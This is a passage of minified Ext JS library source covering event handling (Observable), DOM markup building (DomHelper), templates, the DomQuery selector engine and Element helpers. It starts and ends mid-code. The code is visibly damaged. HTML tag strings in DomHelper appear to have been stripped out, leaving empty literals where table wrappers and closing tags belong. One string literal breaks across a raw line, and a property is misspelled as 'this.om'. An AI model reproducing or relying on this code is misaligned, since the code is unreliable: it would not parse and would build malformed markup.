n.events[m], s, o, r; if (n.eventsSuspended === g) { if (o = n.eventQueue) { o.push(k) } } else { if (typeof p == "object") { if (p.bubble) { if (p.fire.apply(p, k.slice(1)) === i) { return i } r = n.getBubbleTarget && n.getBubbleTarget(); if (r && r.enableBubble) { s = r.events[m]; if (!s || typeof s != "object" || !s.bubble) { r.enableBubble(m) } return r.fireEvent.apply(r, k) } } else { k.shift(); l = p.fire.apply(p, k) } } } return l }, addListener:function (k, m, l, r) { var n = this, q, s, p; if (typeof k == "object") { r = k; for (q in r) { s = r[q]; if (!n.filterOptRe.test(q)) { n.addListener(q, s.fn || s, s.scope || r.scope, s.fn ? s : r) } } } else { k = k.toLowerCase(); p = n.events[k] || g; if (typeof p == "boolean") { n.events[k] = p = new h.Event(n, k) } p.addListener(m, l, typeof r == "object" ? r : {}) } }, removeListener:function (k, m, l) { var n = this.events[k.toLowerCase()]; if (typeof n == "object") { n.removeListener(m, l) } }, purgeListeners:function () { var m = this.events, k, l; for (l in m) { k = m[l]; if (typeof k == "object") { k.clearListeners() } } }, addEvents:function (n) { var m = this; m.events = m.events || {}; if (typeof n == "string") { var k = arguments, l = k.length; while (l--) { m.events[k[l]] = m.events[k[l]] || g } } else { Ext.applyIf(m.events, n) } }, hasListener:function (k) { var l = this.events[k.toLowerCase()]; return typeof l == "object" && l.listeners.length > 0 }, suspendEvents:function (k) { this.eventsSuspended = g; if (k && !this.eventQueue) { this.eventQueue = [] } }, resumeEvents:function () { var k = this, l = k.eventQueue || []; k.eventsSuspended = i; delete k.eventQueue; j(l, function (m) { k.fireEvent.apply(k, m) }) }}; var d = h.Observable.prototype; d.on = d.addListener; d.un = d.removeListener; h.Observable.releaseCapture = function (k) { k.fireEvent = d.fireEvent }; function e(l, m, k) { return function () { if (m.target == arguments[0]) { l.apply(k, Array.prototype.slice.call(arguments, 0)) } } } function b(n, p, k, m) { k.task = new h.DelayedTask(); return function () { k.task.delay(p.buffer, n, m, Array.prototype.slice.call(arguments, 0)) } } function c(m, n, l, k) { return function () { n.removeListener(l, k); return m.apply(k, arguments) } } function a(n, p, k, m) { return function () { var l = new h.DelayedTask(), o = Array.prototype.slice.call(arguments, 0); if (!k.tasks) { k.tasks = [] } k.tasks.push(l); l.delay(p.delay || 10, function () { k.tasks.remove(l); n.apply(m, o) }, m) } } h.Event = function (l, k) { this.name = k; this.obj = l; this.listeners = [] }; h.Event.prototype = {addListener:function (o, n, m) { var p = this, k; n = n || p.obj; if (!p.isListening(o, n)) { k = p.createListener(o, n, m); if (p.firing) { p.listeners = p.listeners.slice(0) } p.listeners.push(k) } }, createListener:function (p, n, q) { q = q || {}; n = n || this.obj; var k = {fn:p, scope:n, options:q}, m = p; if (q.target) { m = e(m, q, n) } if (q.delay) { m = a(m, q, k, n) } if (q.single) { m = c(m, this, p, n) } if (q.buffer) { m = b(m, q, k, n) } k.fireFn = m; return k }, findListener:function (o, n) { var p = this.listeners, m = p.length, k; n = n || this.obj; while (m--) { k = p[m]; if (k) { if (k.fn == o && k.scope == n) { return m } } } return -1 }, isListening:function (l, k) { return this.findListener(l, k) != -1 }, removeListener:function (r, q) { var p, m, n, s = this, o = i; if ((p = s.findListener(r, q)) != -1) { if (s.firing) { s.listeners = s.listeners.slice(0) } m = s.listeners[p]; if (m.task) { m.task.cancel(); delete m.task } n = m.tasks && m.tasks.length; if (n) { while (n--) { m.tasks[n].cancel() } delete m.tasks } s.listeners.splice(p, 1); o = g } return o }, clearListeners:function () { var n = this, k = n.listeners, m = k.length; while (m--) { n.removeListener(k[m].fn, k[m].scope) } }, fire:function () { var q = this, p = q.listeners, k = p.length, o = 0, m; if (k > 0) { q.firing = g; var n = Array.prototype.slice.call(arguments, 0); for (; o < k; o++) { m = p[o]; if (m && m.fireFn.apply(m.scope || q.obj || window, n) === i) { return(q.firing = i) } } } q.firing = i; return g }} })(); Ext.DomHelper = function () { var x = null, k = /^(?:br|frame|hr|img|input|link|meta|range|spacer|wbr|area|param|col)$/i, m = /^table|tbody|tr|td$/i, d = /tag|children|cn|html$/i, t = /td|tr|tbody/i, o = /([a-z0-9-]+)\s*:\s*([^;\s]+(?:\s*[^;\s]+)*);?/gi, v = /end/i, r, n = "afterbegin", p = "afterend", c = "beforebegin", q = "beforeend", a = "", i = "
", b = a + "", j = "" + i, l = b + "", w = "" + j; function h(B, D, C, E, A, y) { var z = r.insertHtml(E, Ext.getDom(B), u(D)); return C ? Ext.get(z, true) : z } function u(D) { var z = "", y, C, B, E; if (typeof D == "string") { z = D } else { if (Ext.isArray(D)) { for (var A = 0; A < D.length; A++) { if (D[A]) { z += u(D[A]) } } } else { z += "<" + (D.tag = D.tag || "div"); for (y in D) { C = D[y]; if (!d.test(y)) { if (typeof C == "object") { z += " " + y + '="'; for (B in C) { z += B + ":" + C[B] + ";" } z += '"' } else { z += " " + ({cls:"class", htmlFor:"for"}[y] || y) + '="' + C + '"' } } } if (k.test(D.tag)) { z += "/>" } else { z += ">"; if ((E = D.children || D.cn)) { z += u(E) } else { if (D.html) { z += D.html } } z += "" } } } return z } function g(F, C, B, D) { x.innerHTML = [C, B, D].join(""); var y = -1, A = x, z; while (++y < F) { A = A.firstChild } if (z = A.nextSibling) { var E = document.createDocumentFragment(); while (A) { z = A.nextSibling; E.appendChild(A); A = z } A = E } return A } function e(y, z, B, A) { var C, D; x = x || document.createElement("div"); if (y == "td" && (z == n || z == q) || !t.test(y) && (z == c || z == p)) { return } D = z == c ? B : z == p ? B.nextSibling : z == n ? B.firstChild : null; if (z == c || z == p) { B = B.parentNode } if (y == "td" || (y == "tr" && (z == q || z == n))) { C = g(4, l, A, w) } else { if ((y == "tbody" && (z == q || z == n)) || (y == "tr" && (z == c || z == p))) { C = g(3, b, A, j) } else { C = g(2, a, A, i) } } B.insertBefore(C, D); return C } function s(A) { var D = document.createElement("div"), y = document.createDocumentFragment(), z = 0, B, C; D.innerHTML = A; C = D.childNodes; B = C.length; for (; z < B; z++) { y.appendChild(C[z].cloneNode(true)) } return y } r = {markup:function (y) { return u(y) }, applyStyles:function (y, z) { if (z) { var A; y = Ext.fly(y); if (typeof z == "function") { z = z.call() } if (typeof z == "string") { o.lastIndex = 0; while ((A = o.exec(z))) { y.setStyle(A[1], A[2]) } } else { if (typeof z == "object") { y.setStyle(z) } } } }, insertHtml:function (D, y, E) { var B = {}, A, F, C, G, H, z; D = D.toLowerCase(); B[c] = ["BeforeBegin", "previousSibling"]; B[p] = ["AfterEnd", "nextSibling"]; if (y.insertAdjacentHTML) { if (m.test(y.tagName) && (z = e(y.tagName.toLowerCase(), D, y, E))) { return z } B[n] = ["AfterBegin", "firstChild"]; B[q] = ["BeforeEnd", "lastChild"]; if ((A = B[D])) { y.insertAdjacentHTML(A[0], E); return y[A[1]] } } else { F = y.ownerDocument.createRange(); G = "setStart" + (v.test(D) ? "After" : "Before"); if (B[D]) { F[G](y); if (!F.createContextualFragment) { H = s(E) } else { H = F.createContextualFragment(E) } y.parentNode.insertBefore(H, D == c ? y : y.nextSibling); return y[(D == c ? "previous" : "next") + "Sibling"] } else { C = (D == n ? "first" : "last") + "Child"; if (y.firstChild) { F[G](y[C]); if (!F.createContextualFragment) { H = s(E) } else { H = F.createContextualFragment(E) } if (D == n) { y.insertBefore(H, y.firstChild) } else { y.appendChild(H) } } else { y.innerHTML = E } return y[C] } } throw'Illegal insertion point -> "' + D + '"' }, insertBefore:function (y, A, z) { return h(y, A, z, c) }, insertAfter:function (y, A, z) { return h(y, A, z, p, "nextSibling") }, insertFirst:function (y, A, z) { return h(y, A, z, n, "firstChild") }, append:function (y, A, z) { return h(y, A, z, q, "", true) }, overwrite:function (y, A, z) { y = Ext.getDom(y); y.innerHTML = u(A); return z ? Ext.get(y.firstChild) : y.firstChild }, createHtml:u}; return r }(); Ext.Template = function (h) { var j = this, c = arguments, e = [], d; if (Ext.isArray(h)) { h = h.join("") } else { if (c.length > 1) { for (var g = 0, b = c.length; g < b; g++) { d = c[g]; if (typeof d == "object") { Ext.apply(j, d) } else { e.push(d) } } h = e.join("") } } j.html = h; if (j.compiled) { j.compile() } }; Ext.Template.prototype = {re:/\{([\w\-]+)\}/g, applyTemplate:function (a) { var b = this; return b.compiled ? b.compiled(a) : b.html.replace(b.re, function (c, d) { return a[d] !== undefined ? a[d] : "" }) }, set:function (a, c) { var b = this; b.html = a; b.compiled = null; return c ? b.compile() : b }, compile:function () { var me = this, sep = Ext.isGecko ? "+" : ","; function fn(m, name) { name = "values['" + name + "']"; return"'" + sep + "(" + name + " == undefined ? '' : " + name + ")" + sep + "'" } eval("this.compiled = function(values){ return " + (Ext.isGecko ? "'" : "['") + me.html.replace(/\\/g, "\\\\").replace(/(\r\n|\n)/g, "\\n").replace(/'/g, "\\'").replace(this.re, fn) + (Ext.isGecko ? "';};" : "'].join('');};")); return me }, insertFirst:function (b, a, c) { return this.doInsert("afterBegin", b, a, c) }, insertBefore:function (b, a, c) { return this.doInsert("beforeBegin", b, a, c) }, insertAfter:function (b, a, c) { return this.doInsert("afterEnd", b, a, c) }, append:function (b, a, c) { return this.doInsert("beforeEnd", b, a, c) }, doInsert:function (c, e, b, a) { e = Ext.getDom(e); var d = Ext.DomHelper.insertHtml(c, e, this.applyTemplate(b)); return a ? Ext.get(d, true) : d }, overwrite:function (b, a, c) { b = Ext.getDom(b); b.innerHTML = this.applyTemplate(a); return c ? Ext.get(b.firstChild, true) : b.firstChild }}; Ext.Template.prototype.apply = Ext.Template.prototype.applyTemplate; Ext.Template.from = function (b, a) { b = Ext.getDom(b); return new Ext.Template(b.value || b.innerHTML, a || "") }; Ext.DomQuery = function () { var cache = {}, simpleCache = {}, valueCache = {}, nonSpace = /\S/, trimRe = /^\s+|\s+$/g, tplRe = /\{(\d+)\}/g, modeRe = /^(\s?[\/>+~]\s?|\s|$)/, tagTokenRe = /^(#)?([\w\-\*]+)/, nthRe = /(\d*)n\+?(\d*)/, nthRe2 = /\D/, isIE = window.ActiveXObject ? true : false, key = 30803; eval("var batch = 30803;"); function child(parent, index) { var i = 0, n = parent.firstChild; while (n) { if (n.nodeType == 1) { if (++i == index) { return n } } n = n.nextSibling } return null } function next(n) { while ((n = n.nextSibling) && n.nodeType != 1) { } return n } function prev(n) { while ((n = n.previousSibling) && n.nodeType != 1) { } return n } function children(parent) { var n = parent.firstChild, nodeIndex = -1, nextNode; while (n) { nextNode = n.nextSibling; if (n.nodeType == 3 && !nonSpace.test(n.nodeValue)) { parent.removeChild(n) } else { n.nodeIndex = ++nodeIndex } n = nextNode } return this } function byClassName(nodeSet, cls) { if (!cls) { return nodeSet } var result = [], ri = -1; for (var i = 0, ci; ci = nodeSet[i]; i++) { if ((" " + ci.className + " ").indexOf(cls) != -1) { result[++ri] = ci } } return result } function attrValue(n, attr) { if (!n.tagName && typeof n.length != "undefined") { n = n[0] } if (!n) { return null } if (attr == "for") { return n.htmlFor } if (attr == "class" || attr == "className") { return n.className } return n.getAttribute(attr) || n[attr] } function getNodes(ns, mode, tagName) { var result = [], ri = -1, cs; if (!ns) { return result } tagName = tagName || "*"; if (typeof ns.getElementsByTagName != "undefined") { ns = [ns] } if (!mode) { for (var i = 0, ni; ni = ns[i]; i++) { cs = ni.getElementsByTagName(tagName); for (var j = 0, ci; ci = cs[j]; j++) { result[++ri] = ci } } } else { if (mode == "/" || mode == ">") { var utag = tagName.toUpperCase(); for (var i = 0, ni, cn; ni = ns[i]; i++) { cn = ni.childNodes; for (var j = 0, cj; cj = cn[j]; j++) { if (cj.nodeName == utag || cj.nodeName == tagName || tagName == "*") { result[++ri] = cj } } } } else { if (mode == "+") { var utag = tagName.toUpperCase(); for (var i = 0, n; n = ns[i]; i++) { while ((n = n.nextSibling) && n.nodeType != 1) { } if (n && (n.nodeName == utag || n.nodeName == tagName || tagName == "*")) { result[++ri] = n } } } else { if (mode == "~") { var utag = tagName.toUpperCase(); for (var i = 0, n; n = ns[i]; i++) { while ((n = n.nextSibling)) { if (n.nodeName == utag || n.nodeName == tagName || tagName == "*") { result[++ri] = n } } } } } } } return result } function concat(a, b) { if (b.slice) { return a.concat(b) } for (var i = 0, l = b.length; i < l; i++) { a[a.length] = b[i] } return a } function byTag(cs, tagName) { if (cs.tagName || cs == document) { cs = [cs] } if (!tagName) { return cs } var result = [], ri = -1; tagName = tagName.toLowerCase(); for (var i = 0, ci; ci = cs[i]; i++) { if (ci.nodeType == 1 && ci.tagName.toLowerCase() == tagName) { result[++ri] = ci } } return result } function byId(cs, id) { if (cs.tagName || cs == document) { cs = [cs] } if (!id) { return cs } var result = [], ri = -1; for (var i = 0, ci; ci = cs[i]; i++) { if (ci && ci.id == id) { result[++ri] = ci; return result } } return result } function byAttribute(cs, attr, value, op, custom) { var result = [], ri = -1, useGetStyle = custom == "{", fn = Ext.DomQuery.operators[op], a, xml, hasXml; for (var i = 0, ci; ci = cs[i]; i++) { if (ci.nodeType != 1) { continue } if (!hasXml) { xml = Ext.DomQuery.isXml(ci); hasXml = true } if (!xml) { if (useGetStyle) { a = Ext.DomQuery.getStyle(ci, attr) } else { if (attr == "class" || attr == "className") { a = ci.className } else { if (attr == "for") { a = ci.htmlFor } else { if (attr == "href") { a = ci.getAttribute("href", 2) } else { a = ci.getAttribute(attr) } } } } } else { a = ci.getAttribute(attr) } if ((fn && fn(a, value)) || (!fn && a)) { result[++ri] = ci } } return result } function byPseudo(cs, name, value) { return Ext.DomQuery.pseudos[name](cs, value) } function nodupIEXml(cs) { var d = ++key, r; cs[0].setAttribute("_nodup", d); r = [cs[0]]; for (var i = 1, len = cs.length; i < len; i++) { var c = cs[i]; if (!c.getAttribute("_nodup") != d) { c.setAttribute("_nodup", d); r[r.length] = c } } for (var i = 0, len = cs.length; i < len; i++) { cs[i].removeAttribute("_nodup") } return r } function nodup(cs) { if (!cs) { return[] } var len = cs.length, c, i, r = cs, cj, ri = -1; if (!len || typeof cs.nodeType != "undefined" || len == 1) { return cs } if (isIE && typeof cs[0].selectSingleNode != "undefined") { return nodupIEXml(cs) } var d = ++key; cs[0]._nodup = d; for (i = 1; c = cs[i]; i++) { if (c._nodup != d) { c._nodup = d } else { r = []; for (var j = 0; j < i; j++) { r[++ri] = cs[j] } for (j = i + 1; cj = cs[j]; j++) { if (cj._nodup != d) { cj._nodup = d; r[++ri] = cj } } return r } } return r } function quickDiffIEXml(c1, c2) { var d = ++key, r = []; for (var i = 0, len = c1.length; i < len; i++) { c1[i].setAttribute("_qdiff", d) } for (var i = 0, len = c2.length; i < len; i++) { if (c2[i].getAttribute("_qdiff") != d) { r[r.length] = c2[i] } } for (var i = 0, len = c1.length; i < len; i++) { c1[i].removeAttribute("_qdiff") } return r } function quickDiff(c1, c2) { var len1 = c1.length, d = ++key, r = []; if (!len1) { return c2 } if (isIE && typeof c1[0].selectSingleNode != "undefined") { return quickDiffIEXml(c1, c2) } for (var i = 0; i < len1; i++) { c1[i]._qdiff = d } for (var i = 0, len = c2.length; i < len; i++) { if (c2[i]._qdiff != d) { r[r.length] = c2[i] } } return r } function quickId(ns, mode, root, id) { if (ns == root) { var d = root.ownerDocument || root; return d.getElementById(id) } ns = getNodes(ns, mode, "*"); return byId(ns, id) } return{getStyle:function (el, name) { return Ext.fly(el).getStyle(name) }, compile:function (path, type) { type = type || "select"; var fn = ["var f = function(root){\n var mode; ++batch; var n = root || document;\n"], mode, lastPath, matchers = Ext.DomQuery.matchers, matchersLn = matchers.length, modeMatch, lmode = path.match(modeRe); if (lmode && lmode[1]) { fn[fn.length] = 'mode="' + lmode[1].replace(trimRe, "") + '";'; path = path.replace(lmode[1], "") } while (path.substr(0, 1) == "/") { path = path.substr(1) } while (path && lastPath != path) { lastPath = path; var tokenMatch = path.match(tagTokenRe); if (type == "select") { if (tokenMatch) { if (tokenMatch[1] == "#") { fn[fn.length] = 'n = quickId(n, mode, root, "' + tokenMatch[2] + '");' } else { fn[fn.length] = 'n = getNodes(n, mode, "' + tokenMatch[2] + '");' } path = path.replace(tokenMatch[0], "") } else { if (path.substr(0, 1) != "@") { fn[fn.length] = 'n = getNodes(n, mode, "*");' } } } else { if (tokenMatch) { if (tokenMatch[1] == "#") { fn[fn.length] = 'n = byId(n, "' + tokenMatch[2] + '");' } else { fn[fn.length] = 'n = byTag(n, "' + tokenMatch[2] + '");' } path = path.replace(tokenMatch[0], "") } } while (!(modeMatch = path.match(modeRe))) { var matched = false; for (var j = 0; j < matchersLn; j++) { var t = matchers[j]; var m = path.match(t.re); if (m) { fn[fn.length] = t.select.replace(tplRe, function (x, i) { return m[i] }); path = path.replace(m[0], ""); matched = true; break } } if (!matched) { throw'Error parsing selector, parsing failed at "' + path + '"' } } if (modeMatch[1]) { fn[fn.length] = 'mode="' + modeMatch[1].replace(trimRe, "") + '";'; path = path.replace(modeMatch[1], "") } } fn[fn.length] = "return nodup(n);\n}"; eval(fn.join("")); return f }, jsSelect:function (path, root, type) { root = root || document; if (typeof root == "string") { root = document.getElementById(root) } var paths = path.split(","), results = []; for (var i = 0, len = paths.length; i < len; i++) { var subPath = paths[i].replace(trimRe, ""); if (!cache[subPath]) { cache[subPath] = Ext.DomQuery.compile(subPath); if (!cache[subPath]) { throw subPath + " is not a valid selector" } } var result = cache[subPath](root); if (result && result != document) { results = results.concat(result) } } if (paths.length > 1) { return nodup(results) } return results }, isXml:function (el) { var docEl = (el ? el.ownerDocument || el : 0).documentElement; return docEl ? docEl.nodeName !== "HTML" : false }, select:document.querySelectorAll ? function (path, root, type) { root = root || document; if (!Ext.DomQuery.isXml(root)) { try { var cs = root.querySelectorAll(path); return Ext.toArray(cs) } catch (ex) { } } return Ext.DomQuery.jsSelect.call(this, path, root, type) } : function (path, root, type) { return Ext.DomQuery.jsSelect.call(this, path, root, type) }, selectNode:function (path, root) { return Ext.DomQuery.select(path, root)[0] }, selectValue:function (path, root, defaultValue) { path = path.replace(trimRe, ""); if (!valueCache[path]) { valueCache[path] = Ext.DomQuery.compile(path, "select") } var n = valueCache[path](root), v; n = n[0] ? n[0] : n; if (typeof n.normalize == "function") { n.normalize() } v = (n && n.firstChild ? n.firstChild.nodeValue : null); return((v === null || v === undefined || v === "") ? defaultValue : v) }, selectNumber:function (path, root, defaultValue) { var v = Ext.DomQuery.selectValue(path, root, defaultValue || 0); return parseFloat(v) }, is:function (el, ss) { if (typeof el == "string") { el = document.getElementById(el) } var isArray = Ext.isArray(el), result = Ext.DomQuery.filter(isArray ? el : [el], ss); return isArray ? (result.length == el.length) : (result.length > 0) }, filter:function (els, ss, nonMatches) { ss = ss.replace(trimRe, ""); if (!simpleCache[ss]) { simpleCache[ss] = Ext.DomQuery.compile(ss, "simple") } var result = simpleCache[ss](els); return nonMatches ? quickDiff(result, els) : result }, matchers:[ {re:/^\.([\w\-]+)/, select:'n = byClassName(n, " {1} ");'}, {re:/^\:([\w\-]+)(?:\(((?:[^\s>\/]*|.*?))\))?/, select:'n = byPseudo(n, "{1}", "{2}");'}, {re:/^(?:([\[\{])(?:@)?([\w\-]+)\s?(?:(=|.=)\s?(["']?)(.*?)\4)?[\]\}])/, select:'n = byAttribute(n, "{2}", "{5}", "{3}", "{1}");'}, {re:/^#([\w\-]+)/, select:'n = byId(n, "{1}");'}, {re:/^@([\w\-]+)/, select:'return {firstChild:{nodeValue:attrValue(n, "{1}")}};'} ], operators:{"=":function (a, v) { return a == v }, "!=":function (a, v) { return a != v }, "^=":function (a, v) { return a && a.substr(0, v.length) == v }, "$=":function (a, v) { return a && a.substr(a.length - v.length) == v }, "*=":function (a, v) { return a && a.indexOf(v) !== -1 }, "%=":function (a, v) { return(a % v) == 0 }, "|=":function (a, v) { return a && (a == v || a.substr(0, v.length + 1) == v + "-") }, "~=":function (a, v) { return a && (" " + a + " ").indexOf(" " + v + " ") != -1 }}, pseudos:{"first-child":function (c) { var r = [], ri = -1, n; for (var i = 0, ci; ci = n = c[i]; i++) { while ((n = n.previousSibling) && n.nodeType != 1) { } if (!n) { r[++ri] = ci } } return r }, "last-child":function (c) { var r = [], ri = -1, n; for (var i = 0, ci; ci = n = c[i]; i++) { while ((n = n.nextSibling) && n.nodeType != 1) { } if (!n) { r[++ri] = ci } } return r }, "nth-child":function (c, a) { var r = [], ri = -1, m = nthRe.exec(a == "even" && "2n" || a == "odd" && "2n+1" || !nthRe2.test(a) && "n+" + a || a), f = (m[1] || 1) - 0, l = m[2] - 0; for (var i = 0, n; n = c[i]; i++) { var pn = n.parentNode; if (batch != pn._batch) { var j = 0; for (var cn = pn.firstChild; cn; cn = cn.nextSibling) { if (cn.nodeType == 1) { cn.nodeIndex = ++j } } pn._batch = batch } if (f == 1) { if (l == 0 || n.nodeIndex == l) { r[++ri] = n } } else { if ((n.nodeIndex + l) % f == 0) { r[++ri] = n } } } return r }, "only-child":function (c) { var r = [], ri = -1; for (var i = 0, ci; ci = c[i]; i++) { if (!prev(ci) && !next(ci)) { r[++ri] = ci } } return r }, empty:function (c) { var r = [], ri = -1; for (var i = 0, ci; ci = c[i]; i++) { var cns = ci.childNodes, j = 0, cn, empty = true; while (cn = cns[j]) { ++j; if (cn.nodeType == 1 || cn.nodeType == 3) { empty = false; break } } if (empty) { r[++ri] = ci } } return r }, contains:function (c, v) { var r = [], ri = -1; for (var i = 0, ci; ci = c[i]; i++) { if ((ci.textContent || ci.innerText || "").indexOf(v) != -1) { r[++ri] = ci } } return r }, nodeValue:function (c, v) { var r = [], ri = -1; for (var i = 0, ci; ci = c[i]; i++) { if (ci.firstChild && ci.firstChild.nodeValue == v) { r[++ri] = ci } } return r }, checked:function (c) { var r = [], ri = -1; for (var i = 0, ci; ci = c[i]; i++) { if (ci.checked == true) { r[++ri] = ci } } return r }, not:function (c, ss) { return Ext.DomQuery.filter(c, ss, true) }, any:function (c, selectors) { var ss = selectors.split("|"), r = [], ri = -1, s; for (var i = 0, ci; ci = c[i]; i++) { for (var j = 0; s = ss[j]; j++) { if (Ext.DomQuery.is(ci, s)) { r[++ri] = ci; break } } } return r }, odd:function (c) { return this["nth-child"](c, "odd") }, even:function (c) { return this["nth-child"](c, "even") }, nth:function (c, a) { return c[a - 1] || [] }, first:function (c) { return c[0] || [] }, last:function (c) { return c[c.length - 1] || [] }, has:function (c, ss) { var s = Ext.DomQuery.select, r = [], ri = -1; for (var i = 0, ci; ci = c[i]; i++) { if (s(ss, ci).length > 0) { r[++ri] = ci } } return r }, next:function (c, ss) { var is = Ext.DomQuery.is, r = [], ri = -1; for (var i = 0, ci; ci = c[i]; i++) { var n = next(ci); if (n && is(n, ss)) { r[++ri] = ci } } return r }, prev:function (c, ss) { var is = Ext.DomQuery.is, r = [], ri = -1; for (var i = 0, ci; ci = c[i]; i++) { var n = prev(ci); if (n && is(n, ss)) { r[++ri] = ci } } return r }}} }(); Ext.query = Ext.DomQuery.select; Ext.util.DelayedTask = function (d, c, a) { var e = this, g, b = function () { clearInterval(g); g = null; d.apply(c, a || []) }; e.delay = function (i, k, j, h) { e.cancel(); d = k || d; c = j || c; a = h || a; g = setInterval(b, i) }; e.cancel = function () { if (g) { clearInterval(g); g = null } } }; (function () { var h = document; Ext.Element = function (l, m) { var n = typeof l == "string" ? h.getElementById(l) : l, o; if (!n) { return null } o = n.id; if (!m && o && Ext.elCache[o]) { return Ext.elCache[o].el } this.dom = n; this.id = o || Ext.id(n) }; var d = Ext.DomHelper, e = Ext.Element, a = Ext.elCache; e.prototype = {set:function (q, m) { var n = this.dom, l, p, m = (m !== false) && !!n.setAttribute; for (l in q) { if (q.hasOwnProperty(l)) { p = q[l]; if (l == "style") { d.applyStyles(n, p) } else { if (l == "cls") { n.className = p } else { if (m) { n.setAttribute(l, p) } else { n[l] = p } } } } } return this }, defaultUnit:"px", is:function (l) { return Ext.DomQuery.is(this.dom, l) }, focus:function (o, n) { var l = this, n = n || l.dom; try { if (Number(o)) { l.focus.defer(o, null, [null, n]) } else { n.focus() } } catch (m) { } return l }, blur:function () { try { this.dom.blur() } catch (l) { } return this }, getValue:function (l) { var m = this.dom.value; return l ? parseInt(m, 10) : m }, addListener:function (l, o, n, m) { Ext.EventManager.on(this.dom, l, o, n || this, m); return this }, removeListener:function (l, n, m) { Ext.EventManager.removeListener(this.dom, l, n, m || this); return this }, removeAllListeners:function () { Ext.EventManager.removeAll(this.dom); return this }, purgeAllListeners:function () { Ext.EventManager.purgeElement(this, true); return this }, addUnits:function (l) { if (l === "" || l == "auto" || l === undefined) { l = l || "" } else { if (!isNaN(l) || !i.test(l)) { l = l + (this.defaultUnit || "px") } } return l }, load:function (m, n, l) { Ext.Ajax.request(Ext.apply({params:n, url:m.url || m, callback:l, el:this.dom, indicatorText:m.indicatorText || ""}, Ext.isObject(m) ? m : {})); return this }, isBorderBox:function () { return Ext.isBorderBox || Ext.isForcedBorderBox || g[(this.dom.tagName || "").toLowerCase()] }, remove:function () { var l = this, m = l.dom; if (m) { delete l.dom; Ext.removeNode(m) } }, hover:function (m, l, o, n) { var p = this; p.on("mouseenter", m, o || p.dom, n); p.on("mouseleave", l, o || p.dom, n); return p }, contains:function (l) { return !l ? false : Ext.lib.Dom.isAncestor(this.dom, l.dom ? l.dom : l) }, getAttributeNS:function (m, l) { return this.getAttribute(l, m) }, getAttribute:(function () { var p = document.createElement("table"), o = false, m = "getAttribute" in p, l = /undefined|unknown/; if (m) { try { p.getAttribute("ext:qtip") } catch (n) { o = true } return function (q, s) { var r = this.dom, t; if (r.getAttributeNS) { t = r.getAttributeNS(s, q) || null } if (t == null) { if (s) { if (o && r.tagName.toUpperCase() == "TABLE") { try { t = r.getAttribute(s + ":" + q) } catch (u) { t = "" } } else { t = r.getAttribute(s + ":" + q) } } else { t = r.getAttribute(q) || r[q] } } return t || "" } } else { return function (q, s) { var r = this.om, u, t; if (s) { t = r[s + ":" + q]; u = l.test(typeof t) ? undefined : t } else { u = r[q] } return u || "" } } p = null })(), update:function (l) { if (this.dom) { this.dom.innerHTML = l } return this }}; var k = e.prototype; e.addMethods = function (l) { Ext.apply(k, l) }; k.on = k.addListener; k.un = k.removeListener; k.autoBoxAdjust = true; var i = /\d+(px|em|%|en|ex|pt|in|cm|mm|pc)$/i, c; e.get = function (m) { var l, p, o; if (!m) { return null } if (typeof m == "string") { if (!(p = h.getElementById(m))) { return null } if (a[m] && a[m].el) { l = a[m].el; l.dom = p } else { l = e.addToCache(new e(p)) } return l } else { if (m.tagName) { if (!(o = m.id)) { o = Ext.id(m) } if (a[o] && a[o].el) { l = a[o].el; l.dom = m } else { l = e.addToCache(new e(m)) } return l } else { if (m instanceof e) { if (m != c) { if (Ext.isIE && (m.id == undefined || m.id == "")) { m.dom = m.dom } else { m.dom = h.getElementById(m.id) || m.dom } } return m } else { if (m.isComposite) { return m } else { if (Ext.isArray(m)) { return e.select(m) } else { if (m == h) { if (!c) { var n = function () { }; n.prototype = e.prototype; c = new n(); c.dom = h } return c } } } } } } return null }; e.addToCache = function (l, m) { m = m || l.id; a[m] = {el:l, data:{}, events:{}}; return l }; e.data = function (m, l, n) { m = e.get(m); if (!m) { return null } var o = a[m.id].data; if (arguments.length == 2) { return o[l] } else { return(o[l] = n) } }; function j() { if (!Ext.enableGarbageCollector) { clearInterval(e.collectorThreadId) } else { var l, n, q, p; for (l in a) { p = a[l]; if (p.skipGC) { continue } n = p.el; q = n.dom; if (!q || !q.parentNode || (!q.offsetParent && !h.getElementById(l))) { if (Ext.enableListenerCollection) { Ext.EventManager.removeAll(q) } delete a[l] } } if (Ext.isIE) { var m = {}; for (l in a) { m[l] = a[l] } a = Ext.elCache = m } } } e.collectorThreadId = setInterval(j, 30000); var b = function () { }; b.prototype = e.prototype; e.Flyweight = function (l) { this.dom = l }; e.Flyweight.prototype = new b(); e.Flyweight.prototype.isFlyweight = true; e._flyweights = {}; e.fly = function (n, l) { var m = null; l = l || "_global"; if (n = Ext.getDom(n)) { (e._flyweights[l] = e._flyweights[l] || new e.Flyweight()).dom = n; m = e._flyweights[l] } return m }; Ext.get = e.get; Ext.fly = e.fly; var g = Ext.isStrict ? {select:1} : {input:1, select:1, textarea:1}; if (Ext.isIE || Ext.isGecko) { g.button = 1 } })(); Ext.Element.addMethods(function () { var d = "parentNode", b = "nextSibling", c = "previousSibling", e = Ext.DomQuery, a = Ext.get; return{findParent:function (m, l, h) { var j = this.dom, g = document.body, k = 0, i; if (Ext.isGecko && Object.prototype.toString.call(j) == "[object XULElement]") { return null } l = l || 50; if (isNaN(l)) { i = Ext.getDom(l); l = Number.MAX_VALUE } while (j && j.nodeType == 1 && k < l && j != g && j != i) { if (e.is(j, m)) { return h ? a(j) : j } k++; j = j.parentNode } return null }, findParentNode:function (j, i, g) { var h = Ext.fly(this.dom.parentNode, "_internal"); return h ? h.findParent(j, i, g) : null }, up:function (h, g) { return this.findParentNode(h, g, true) }, select:function (g) { return Ext.Element.select(g, this.dom) }, query:function (g) { return e.select(g, this.dom) }, child:function (g, h) { var i = e.selectNode(g, this.dom); return h ? i : a(i) }, down:function (g, h) { var i = e.selectNode(" > " + g, this.dom); return h ? i : a(i) }, parent:function (g, h) { return this.matchNode(d, d, g, h) }, next:function (g, h) { return this.matchNode(b, b, g, h) }, prev:function (g, h) { return this.matchNode(c, c, g, h) }, first:function (g, h) { return this.matchNode(b, "firstChild", g, h) }, last:function (g, h) { return this.matchNode(c, "lastChild", g, h) }, matchNode:function (h, k, g, i) { var j = this.dom[k]; while (j) { if (j.nodeType == 1 && (!g || e.is(j, g))) { return !i ? a(j) : j } j = j[h] } return null }} }()); Ext.Element.addMethods(function () { var c = Ext.getDom, a = Ext.get, b = Ext.DomHelper; return{appendChild:function (d) { return a(d).appendTo(this) }, appendTo:function (d) { c(d).appendChild(this.dom); return this }, insertBefore:function (d) { (d = 